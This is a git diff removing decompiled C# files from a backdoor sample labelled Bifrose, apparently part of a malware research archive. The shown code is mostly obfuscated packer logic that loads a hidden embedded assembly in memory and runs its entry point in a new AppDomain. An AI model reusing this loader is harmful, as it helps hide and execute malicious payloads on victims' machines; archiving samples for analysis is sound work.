- if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) usbLicense;
- }
-
- public virtual unsafe Assembly ResolveAssembly(string Name)
- {
- // ISSUE: untyped stack allocation
- int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
- try
- {
- AssemblyName assemblyName = new AssemblyName(Name);
- }
- catch (Exception ex1) when (
- {
- // ISSUE: unable to correctly present filter
- uint exceptionCode = (uint) Marshal.GetExceptionCode();
- if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- uint num2 = 0;
- \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
- try
- {
- try
- {
- return (Assembly) null;
- }
- catch (Exception ex2) when (
- {
- // ISSUE: unable to correctly present filter
- num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
- if (num2 != 0U)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- }
- if (num2 != 0U)
- throw;
- }
- finally
- {
- \u0082\u00BB.ã((void*) num1, (int) num2);
- }
- }
- byte[] bytes = Encoding.UTF8.GetBytes(Name);
- GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
- IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
- int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
- if (index >= 0)
- {
- Assembly[] ò = this.ò;
- if (index < ò.Length)
- {
- if ((object) ò[index] == null)
- this.ò[index] = this.\u0081â(num3);
- gcHandle.Free();
- return this.ò[index];
- }
- }
- gcHandle.Free();
- return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
- }
-
- public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
-
- public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
- {
- byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
- if ((IntPtr) numPtr == IntPtr.Zero)
- return (Assembly) null;
- IntPtr ptr = (IntPtr) (void*) numPtr;
- int length1 = Marshal.ReadInt32(ptr);
- IntPtr source = (IntPtr) (void*) (numPtr + 4);
- byte[] rawAssembly = new byte[length1];
- byte[] destination = rawAssembly;
- int length2 = length1;
- Marshal.Copy(source, destination, 0, length2);
- Assembly embLockAssembly = Assembly.Load(rawAssembly);
- Marshal.FreeCoTaskMem(ptr);
- return embLockAssembly;
- }
-
- public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
- {
- byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
- if ((IntPtr) numPtr == IntPtr.Zero)
- return (Assembly) null;
- IntPtr ptr = (IntPtr) (void*) numPtr;
- string stringAnsi = Marshal.PtrToStringAnsi(ptr);
- Marshal.FreeCoTaskMem(ptr);
- Assembly lockAssemblyName = (Assembly) null;
- try
- {
- lockAssemblyName = Assembly.Load(stringAnsi);
- }
- catch (Exception ex)
- {
- }
- return lockAssemblyName;
- }
-
- public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
- {
- byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
- if ((IntPtr) ptr1 == IntPtr.Zero)
- return (ArrayList) null;
- IntPtr ptr2 = (IntPtr) (void*) ptr1;
- ArrayList assemblyServices = new ArrayList();
- if (*ptr1 != (byte) 0)
- {
- do
- {
- string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
- assemblyServices.Add((object) stringAnsi);
- ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
- }
- while (*ptr1 != (byte) 0);
- }
- Marshal.FreeCoTaskMem(ptr2);
- return assemblyServices;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
- {
- int num;
- if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return num != 0;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
- {
- int num;
- if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return num != 0;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
- {
- int num;
- if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return num != 0;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- public virtual unsafe bool IsDemo(Assembly pReserved)
- {
- int num;
- if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return num != 0;
- }
-
- public virtual unsafe int DaysLeft(Assembly pReserved)
- {
- int num;
- return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- }
-
- public virtual unsafe int MinutesLeft(Assembly pReserved)
- {
- int num;
- return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- }
-
- public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
-
- public virtual void UnloadAppdomain(AppDomain domain)
- {
- int id = domain.Id;
- AppDomain.Unload(domain);
- \u0082\u00BB.\u0095(id);
- }
-
- public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
-
- public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
-
- public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
- {
- GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
- IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
- IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
- gcHandle.Free();
- return num2;
- }
-
- public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
-
- public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
-
- public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
- {
- GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
- GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
- GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
- IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
- IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
- IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
- \u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
- gcHandle1.Free();
- gcHandle2.Free();
- gcHandle3.Free();
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_003CdotNetProtector_003E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_003CdotNetProtector_003E.cs
deleted file mode 100644
index 98ff8ab1..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_003CdotNetProtector_003E.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-public class \u003CdotNetProtector\u003E
-{
- internal static readonly long _Reserved;
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Ù.cs
deleted file mode 100644
index caf768a1..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Ù.cs
+++ /dev/null
@@ -1,281 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: é.Ù
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using \u0081é;
-using \u0082\u00BC;
-using System;
-using System.Reflection;
-using System.Runtime.InteropServices;
-
-namespace \u0081é
-{
- [Serializable]
- internal class \u0081Ù
- {
- private IntPtr \u0082\u00B0;
- private IntPtr á;
- private int Þ;
- private Assembly Û;
-
- private unsafe Assembly \u00F7()
- {
- byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
- if ((IntPtr) numPtr == IntPtr.Zero)
- return (Assembly) null;
- IntPtr ptr = (IntPtr) (void*) numPtr;
- int length1 = Marshal.ReadInt32(ptr);
- IntPtr source = (IntPtr) (void*) (numPtr + 4);
- byte[] rawAssembly = new byte[length1];
- byte[] destination = rawAssembly;
- int length2 = length1;
- Marshal.Copy(source, destination, 0, length2);
- Assembly assembly = Assembly.Load(rawAssembly);
- Marshal.FreeCoTaskMem(ptr);
- return assembly;
- }
-
- private unsafe Assembly \u0089()
- {
- byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
- if ((IntPtr) numPtr == IntPtr.Zero)
- return (Assembly) null;
- IntPtr ptr = (IntPtr) (void*) numPtr;
- string stringAnsi = Marshal.PtrToStringAnsi(ptr);
- Marshal.FreeCoTaskMem(ptr);
- Assembly assembly = (Assembly) null;
- try
- {
- assembly = Assembly.Load(stringAnsi);
- }
- catch (Exception ex)
- {
- }
- return assembly;
- }
-
- public static unsafe int \u0081Ö(Assembly _param0, int _param1)
- {
- // ISSUE: untyped stack allocation
- int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
- IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
- int num2 = 0;
- \u0081Ù ù = new \u0081Ù();
- ù.Û = _param0;
- ù.\u0082\u00B0 = hinstance;
- ù.Þ = _param1;
- IntPtr num3 = (IntPtr) (void*) &num2;
- ù.á = num3;
- AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
- int id = domain.Id;
- domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
- CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
- domain.DoCallBack(callBackDelegate);
- try
- {
- AppDomain.Unload(domain);
- }
- catch (Exception ex1) when (
- {
- // ISSUE: unable to correctly present filter
- uint exceptionCode = (uint) Marshal.GetExceptionCode();
- if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- uint num4 = 0;
- \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
- try
- {
- try
- {
- }
- catch (Exception ex2) when (
- {
- // ISSUE: unable to correctly present filter
- num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
- if (num4 != 0U)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- }
- goto label_10;
- if (num4 != 0U)
- throw;
- }
- finally
- {
- \u0082\u00BB.ã((void*) num1, (int) num4);
- }
- }
-label_10:
- \u0082\u00BB.ù();
- \u0082\u00BB.\u0095(id);
- return num2;
- }
-
- public unsafe void í()
- {
- FieldInfo fieldInfo = (FieldInfo) null;
- // ISSUE: untyped stack allocation
- int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
- Assembly entryAssembly = Assembly.GetEntryAssembly();
- uint exceptionCode;
- if ((object) entryAssembly == null)
- {
- \u0081ê.\u0081\u0099 = this.Û;
- try
- {
- fieldInfo = (FieldInfo) null;
- AppDomain currentDomain = AppDomain.CurrentDomain;
- AppDomainManager appDomainManager = currentDomain.DomainManager;
- if (appDomainManager == null)
- {
- appDomainManager = new AppDomainManager();
- typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
- }
- typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
- }
- catch (Exception ex1) when (
- {
- // ISSUE: unable to correctly present filter
- exceptionCode = (uint) Marshal.GetExceptionCode();
- if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- uint num2 = 0;
- \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
- try
- {
- try
- {
- }
- catch (Exception ex2) when (
- {
- // ISSUE: unable to correctly present filter
- num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
- if (num2 != 0U)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- }
- goto label_18;
- if (num2 != 0U)
- throw;
- }
- finally
- {
- \u0082\u00BB.ã((void*) num1, (int) num2);
- }
- }
- }
- else
- \u0081ê.\u0081\u0099 = entryAssembly;
-label_18:
- Assembly assembly = (Assembly) null;
- switch (this.Þ & 805306368)
- {
- case 536870912:
- assembly = this.\u0089();
- break;
- case 805306368:
- assembly = this.\u00F7();
- break;
- }
- if ((object) assembly == null)
- return;
- MethodInfo entryPoint = assembly.EntryPoint;
- if ((object) entryPoint == null)
- return;
- object[] parameters = new object[0];
- if (entryPoint.GetParameters().Length != 0)
- {
- string[] commandLineArgs = Environment.GetCommandLineArgs();
- string[] destinationArray = new string[commandLineArgs.Length - 1];
- int length = destinationArray.Length;
- if (length != 0)
- Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
- parameters = new object[1]
- {
- (object) destinationArray
- };
- }
- object obj = entryPoint.Invoke((object) null, parameters);
- if (obj == null)
- return;
- try
- {
- Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
- }
- catch (Exception ex3) when (
- {
- // ISSUE: unable to correctly present filter
- exceptionCode = (uint) Marshal.GetExceptionCode();
- if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- uint num3 = 0;
- \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
- try
- {
- try
- {
- }
- catch (Exception ex4) when (
- {
- // ISSUE: unable to correctly present filter
- num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
- if (num3 != 0U)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- }
- return;
- if (num3 == 0U)
- return;
- throw;
- }
- finally
- {
- \u0082\u00BB.ã((void*) num1, (int) num3);
- }
- }
- }
-
- public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Þ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Þ.cs
deleted file mode 100644
index a75f3f19..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Þ.cs
+++ /dev/null
@@ -1,81 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: é.Þ
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using \u0081é;
-using \u0082\u00BC;
-using System;
-using System.Reflection;
-using System.Runtime.InteropServices;
-using System.Threading;
-
-namespace \u0081é
-{
- [Serializable]
- internal class \u0081Þ
- {
- private IntPtr þ;
- private int \u0092;
- [NonSerialized]
- private AppDomain ú;
-
- public \u0081Þ(AppDomain domain, int domainId)
- {
- this.\u0092 = domainId;
- this.ú = domain;
- this.þ = IntPtr.Zero;
- }
-
- public void \u0081ý()
- {
- if (this.ú == null)
- return;
- try
- {
- for (int index = 0; index < 10; ++index)
- {
- try
- {
- string friendlyName = this.ú.FriendlyName;
- Thread.Sleep(50);
- }
- catch (AppDomainUnloadedException ex)
- {
- break;
- }
- }
- }
- finally
- {
- \u0082\u00BB.\u0095(this.\u0092);
- }
- }
-
- public static AppDomain \u0081\u008D()
- {
- MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
- return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
- }
-
- public void \u009C()
- {
- Marshal.GetObjectForIUnknown(this.þ);
- Marshal.Release(this.þ);
- this.þ = IntPtr.Zero;
- new Thread(new ThreadStart(this.\u0081ý)).Start();
- }
-
- public void \u0081\u0084(object _param1, EventArgs _param2)
- {
- AppDomain appDomain = \u0081Þ.\u0081\u008D();
- if (appDomain == null)
- return;
- CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
- this.þ = Marshal.GetIUnknownForObject((object) this.ú);
- this.ú = (AppDomain) null;
- appDomain.DoCallBack(callBackDelegate);
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081ê.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081ê.cs
deleted file mode 100644
index 798cf7d0..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081ê.cs
+++ /dev/null
@@ -1,15 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: é.ê
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using System.Reflection;
-
-namespace \u0081é
-{
- internal class \u0081ê
- {
- internal static Assembly \u0081\u0099 = (Assembly) null;
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1_0081î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1_0081î.cs
deleted file mode 100644
index 0c7482ac..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1_0081î.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.î
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [DebugInfoInPDB]
- [MiscellaneousBits(65)]
- [StructLayout(LayoutKind.Sequential, Size = 32)]
- internal struct \u0081î
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1Ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1Ä.cs
deleted file mode 100644
index 70aec101..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1Ä.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.Ä
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [DebugInfoInPDB]
- [MiscellaneousBits(65)]
- [StructLayout(LayoutKind.Sequential, Size = 28)]
- internal struct Ä
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081$.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081$.cs
deleted file mode 100644
index 489635f0..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081$.cs
+++ /dev/null
@@ -1,27 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.$
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(65)]
- [NativeCppClass]
- [StructLayout(LayoutKind.Sequential, Size = 216)]
- internal struct \u0081\u0024
- {
- [MiscellaneousBits(65)]
- [DebugInfoInPDB]
- [NativeCppClass]
- [StructLayout(LayoutKind.Sequential, Size = 16)]
- internal struct \u0081ö
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0080.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0080.cs
deleted file mode 100644
index 4df3f7b7..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0080.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081\u0080
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0083.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0083.cs
deleted file mode 100644
index d82a3de9..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0083.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0081\u0083
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0088.cs
deleted file mode 100644
index c115e817..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0088.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
